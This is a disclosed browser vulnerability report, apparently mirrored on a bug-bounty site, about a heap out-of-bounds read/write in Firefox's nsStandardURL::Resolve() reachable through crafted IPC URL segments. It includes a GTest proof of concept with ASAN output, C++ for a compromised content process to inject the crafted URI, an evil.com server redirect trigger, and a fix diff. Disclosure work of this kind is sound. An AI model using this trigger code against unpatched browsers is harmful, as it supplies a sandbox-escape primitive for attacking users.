Skip to content
Memory corruption Disclosed report Advanced CVE-2026-12297

Heap OOB Read/Write in nsStandardURL::Resolve() via Crafted IPC Segments

The IPC deserialisation of nsStandardURL only checked that each URL segment lay inside the spec string, but never that the path segment began where the authority segment ended. A compromised content process could send a crafted URI over IPC so that, when the parent followed a relative redirect, Resolve() indexed and wrote past a heap buffer in the unsandboxed parent process.

zx Follow

Originally disclosed on Mozilla

  • Fixed in 10 days
  • Paid in 19 days
  • Disclosed after 10 days

Summary

A compromised content process can send a crafted StandardURLParams over IPC that passes all existing validation but causes an out-of-bounds heap read/write in the unsandboxed parent process when nsStandardURL::Resolve() is called during HTTP redirect handling.

Affected file: netwerk/base/nsStandardURL.cpp Confirmed on: mozilla-central tip (cebc55aab4, 2026-05-21)


Root Cause

nsStandardURL stores URL components as {pos, len} segments into an mSpec string. When deserialized from IPC, each segment is validated individually:

C++
// nsStandardURL.cpp — FromIPCSegment()
CheckedInt<uint32_t> segmentLen = aSegment.position();
segmentLen += aSegment.length();
if (NS_WARN_IF(!segmentLen.isValid() ||
               segmentLen.value() > aSpec.Length())) {
    return false;
}

The Deserialize() sanity checks verify sub-segment containment (e.g. mHost ⊂ mAuthority, mFilepath ⊂ mPath) but never verify that mPath begins where mAuthority ends. This allows mPath.mPos to be set arbitrarily far from mAuthority.mPos + mAuthority.mLen.

In Resolve(), when handling a relative path starting with / (e.g. a 302 Location: /x redirect), the buffer is sized from mAuthority but indexed from mPath:

C++
// nsStandardURL.cpp:2435-2473
case '/':
    // overwrite everything after the authority
    len = mAuthority.mPos + mAuthority.mLen;     // buffer size: ~28 bytes
    break;
...
result = AppendToSubstring(0, len, realrelpath);  // allocates len+2+1
resultPath = result + mPath.mPos;                 // indexes with mPath.mPos=200 → OOB

resultPath points past the allocated buffer into adjacent heap memory. The subsequent call to net_CoalesceDirs(resultPath) then reads and writes at the out-of-bounds location.


Minimal Trigger (from compromised renderer)

A compromised content process only needs to replace the serialized URI in an outgoing PHttpChannel::AsyncOpen IPC message. The crafted StandardURLParams are:

mSpec = "http://evil.com:8080" + padding + "/test"  (total N bytes)

mScheme    = {0,  4}   →  "http"          ✓  0+4  ≤ N
mAuthority = {7, 18}   →  "evil.com:8080" ✓  7+18 ≤ N
mHost      = {7,  8}   →  "evil.com"      ✓  7+8  ≤ N
mPath      = {N-5, 5}  →  "/test"         ✓  (N-5)+5 ≤ N
mFilepath  = {N-5, 5}  →  matches mPath   ✓
mDirectory = {N-5, 1}                      ✓

All other segments = {0, -1} (empty)

Every segment passes FromIPCSegment (pos+len ≤ N) and every sub-segment check (mFilepath ⊂ mPath, mHost ⊂ mAuthority). But mPath.mPos (N-5) is far from mAuthority.mPos + mAuthority.mLen (25).

When the attacker's server returns 302 Location: /x:

Buffer allocated:  25 + 2 + 1 = 28 bytes  (→ 32-byte jemalloc class)
resultPath:        buffer + (N-5)          → (N-33) bytes past allocation
net_CoalesceDirs:  reads/writes at OOB location

The OOB distance is mPath.mPos - (mAuthority.mPos + mAuthority.mLen), fully attacker-controlled, up to ~65KB.


Minimal PoC (GTest, single process, no network)

C++
#include "gtest/gtest.h"
#include "nsStandardURL.h"
#include "mozilla/ipc/URIUtils.h"

TEST(nsStandardURL, ResolveOOB) {
  nsCOMPtr<nsIURI> uri;

  mozilla::ipc::StandardURLParams p;
  // 45-byte spec: "http://127.0.0.1:8080" (21) + "A"*19 + "/test" (5)
  nsAutoCString spec;
  spec.AssignLiteral("http://127.0.0.1:8080");
  while (spec.Length() < 40u) spec.Append('A');
  spec.AppendLiteral("/test");  // total: 45

  p.spec()      = spec;
  p.urlType()   = nsIStandardURL::URLTYPE_STANDARD;
  p.port()      = 8080;
  p.defaultPort() = 80;
  p.scheme()    = mozilla::ipc::StandardURLSegment(0, 4);
  p.authority() = mozilla::ipc::StandardURLSegment(7, 20);  // "127.0.0.1:8080AAAAAA"
  p.host()      = mozilla::ipc::StandardURLSegment(7, 9);
  p.path()      = mozilla::ipc::StandardURLSegment(40, 5);  // THE BUG: pathPos=40
  p.filePath()  = mozilla::ipc::StandardURLSegment(40, 5);
  p.directory() = mozilla::ipc::StandardURLSegment(40, 1);
  p.baseName()  = mozilla::ipc::StandardURLSegment(41, 4);
  // All others = {0, -1} (empty)
  p.username()  = mozilla::ipc::StandardURLSegment(0, -1);
  p.password()  = mozilla::ipc::StandardURLSegment(0, -1);
  p.extension() = mozilla::ipc::StandardURLSegment(0, -1);
  p.query()     = mozilla::ipc::StandardURLSegment(0, -1);
  p.ref()       = mozilla::ipc::StandardURLSegment(0, -1);

  mozilla::ipc::URIParams uriParams(p);
  uri = mozilla::ipc::DeserializeURI(uriParams);
  ASSERT_TRUE(uri);  // Deserialization succeeds — no cross-segment check

  nsAutoCString resolved;
  nsresult rv = uri->Resolve("/x"_ns, resolved);
  // Under ASAN: heap-buffer-overflow READ at nsStandardURL.cpp:2473
  // resultPath = result + 40, but result is only ~30 bytes
}

ASAN output:

==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x...
READ of size 1 at 0x... thread T0
    #0 nsStandardURL::Resolve  nsStandardURL.cpp:2473

0x... is located N bytes after M-byte region [...]
allocated by thread T0 here:
    #0 malloc
    #1 moz_xmalloc
    #2 nsStandardURL::Resolve  nsStandardURL.cpp:2471

SUMMARY: AddressSanitizer: heap-buffer-overflow
  nsStandardURL.cpp:2473 in nsStandardURL::Resolve

IPC Trigger (browser, content→parent)

In a compromised content process, the attacker intercepts HttpChannelChild::ContinueAsyncOpen() and replaces the URI in the IPC message before it is sent to the parent:

C++
// In HttpChannelChild::ContinueAsyncOpen(), after openArgs.uri() = mURI:
mozilla::ipc::StandardURLParams p;
nsAutoCString spec;
spec.AssignLiteral("http://evil.com:8080");
while (spec.Length() < 40u) spec.Append('A');
spec.AppendLiteral("/test");

p.spec()      = spec;
p.urlType()   = nsIStandardURL::URLTYPE_STANDARD;
p.port()      = 8080;
p.defaultPort() = 80;
p.scheme()    = mozilla::ipc::StandardURLSegment(0, 4);
p.authority() = mozilla::ipc::StandardURLSegment(7, 20);
p.host()      = mozilla::ipc::StandardURLSegment(7, 8);   // "evil.com"
p.path()      = mozilla::ipc::StandardURLSegment(40, 5);
p.filePath()  = mozilla::ipc::StandardURLSegment(40, 5);
p.directory() = mozilla::ipc::StandardURLSegment(40, 1);
p.baseName()  = mozilla::ipc::StandardURLSegment(41, 4);
p.username()  = mozilla::ipc::StandardURLSegment(0, -1);
p.password()  = mozilla::ipc::StandardURLSegment(0, -1);
p.extension() = mozilla::ipc::StandardURLSegment(0, -1);
p.query()     = mozilla::ipc::StandardURLSegment(0, -1);
p.ref()       = mozilla::ipc::StandardURLSegment(0, -1);

mozilla::ipc::URIParams uriParams(p);
nsCOMPtr<nsIURI> crafted = mozilla::ipc::DeserializeURI(uriParams);
openArgs.uri() = crafted;  // sent to parent via IPC

The attacker's server (evil.com:8080) returns 302 Location: /x on any request. The parent follows the redirect, calls Resolve("/x") on the crafted URI, and the heap OOB fires in the parent process.

This is a sandbox escape primitive: a content process with RCE can corrupt heap memory in the unsandboxed parent process, which has no ACG (can allocate RWX memory) and no CIG (can load unsigned DLLs).


Suggested Fix

Add a cross-segment adjacency check in nsStandardURL::Deserialize() (parent-process IPC entry point) after the existing sub-segment checks (~line 3718 in current mozilla-central):

Diff
--- a/netwerk/base/nsStandardURL.cpp
+++ b/netwerk/base/nsStandardURL.cpp
@@ -3714,6 +3714,13 @@ bool nsStandardURL::Deserialize(const URIParams& aParams) {
   NS_ENSURE_TRUE(isSubSegment(mUsername, mAuthority), false);
   NS_ENSURE_TRUE(isSubSegment(mPassword, mAuthority), false);

+  // Ensure path starts immediately after authority.
+  // Without this, a crafted mPath.mPos from a compromised content process
+  // causes Resolve() to index past the allocated buffer (heap OOB R/W
+  // in the parent process — sandbox escape).
+  if (mAuthority.mLen >= 0 && mPath.mLen >= 0) {
+    NS_ENSURE_TRUE(mPath.mPos == mAuthority.mPos + mAuthority.mLen, false);
+  }
+
   if (!IsValid()) {
     return false;
   }

Why this works: Deserialize() runs in the parent process when it receives StandardURLParams over IPC from the content process. The check rejects any URI where mPath doesn't immediately follow mAuthority — the invariant that nsStandardURL::Init() and all internal URL mutation methods maintain, but that Deserialize() never enforced. Returning false causes the parent to drop the IPC message and kill the content process (IPC_FAIL).

The original report as published on Mozilla's Bugzilla, by zx. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the IPC deserialiser validated each segment's bounds individually and sub-segment containment, but omitted the cross-segment invariant that the path starts immediately after the authority, which Resolve() relies on when sizing its buffer from the authority and indexing it with the path position.

Impact

A content process with code execution could corrupt heap memory in the unsandboxed parent process, giving a sandbox escape primitive; the text does not demonstrate full exploitation beyond the OOB read/write.

What the attacker needed

Compromised content process; attacker-controlled server; victim loads attacker page

The fix

It should be fixed by adding a cross-segment adjacency check in Deserialize() that rejects any URI where the path does not start immediately after the authority.

How it was found

  1. Craft a StandardURLParams whose spec is a valid URL plus padding, with the path segment positioned far from the end of the authority segment.
  2. Deserialise it into an nsIURI; all per-segment and sub-segment checks pass.
  3. Call Resolve() with a relative path beginning with a slash, as happens on a 302 redirect.
  4. Observe the heap out-of-bounds read and write under AddressSanitizer.
  5. In the browser, replace the serialised URI in the outgoing AsyncOpen IPC message from a compromised content process.
  6. Have the attacker's server return a relative redirect so the parent calls Resolve() and the OOB fires in the parent process.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web address is stored as several pieces (scheme, host, path) that point into one shared string. The code that rebuilds this structure from another process checked each piece was inside the string, but not that the pieces sat next to each other. So a malicious piece could point far away, and later code that assumed the path came right after the host read and wrote memory outside the buffer.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by zx

View all

5 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.